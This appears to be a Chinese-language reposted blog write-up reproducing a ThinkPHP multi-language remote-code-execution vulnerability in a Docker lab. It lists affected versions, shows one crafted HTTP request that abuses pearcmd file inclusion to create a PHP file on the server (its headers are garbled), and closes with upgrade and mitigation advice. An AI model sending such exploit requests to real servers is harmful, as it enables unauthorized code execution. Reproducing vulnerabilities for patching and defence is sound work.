返回顶部
首页 > 资讯 > 后端开发 > PHP编程 >[漏洞复现]Thinkphp RCE
  • 646
分享到

[漏洞复现]Thinkphp RCE

php 2023-09-16 17:09:43 646人浏览 薄情痞子
摘要

文章目录 简介影响版本复现文件包含目录穿越 修复 简介 ThinkPHP 是一款 php 框架,如果开启了多语言功能,就可以通过 get、header、cookie 等位置传入参

文章目录

简介

ThinkPHP 是一款 php 框架,如果开启了多语言功能,就可以通过 get、header、cookie 等位置传入参数实现目录穿越和文件包含,从而利用 pearcmd 文件包含实现远程命令执行(RCE)。

需要Thinkphp开启多语言功能
2、需要有pearcmd扩展

影响版本

v6.0.1 < Thinkphp < v6.0.13
Thinkphp v5.0.x
Thinkphp v5.1.x

复现

环境

Docker run -it -d -p 8080:80  vulfocus/thinkphp:6.0.12访问8080

文件包含

生成文件

GET /public/index.php?+config-create+/+/tmp/hello.php Http/1.1Host: 222.x.x.x:8080accept: **;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeUpgrade-Insecure-Requests: 1Cache-Control: max-age=0

修复

若无必要,可关闭多语言功能,可参考文档
https://www.kancloud.cn/manual/thinkphp6_0/1037637
https://static.kancloud.cn/manual/thinkphp5/118132
2、官方已发布6.0.14、5.1.42,建议升级至安全版本。

来源地址:https://blog.csdn.net/qq_45751902/article/details/128268853

--结束END--

本文标题: [漏洞复现]Thinkphp RCE

本文链接: https://www.lsjlt.com/news/410113.html(转载时请注明来源链接)

有问题或投稿请发送至: 邮箱/279061341@qq.com    QQ/279061341

猜你喜欢
软考高级职称资格查询
编程网,编程工程师的家园,是目前国内优秀的开源技术社区之一,形成了由开源软件库、代码分享、资讯、协作翻译、讨论区和博客等几大频道内容,为IT开发者提供了一个发现、使用、并交流开源技术的平台。
  • 官方手机版

  • 微信公众号

  • 商务合作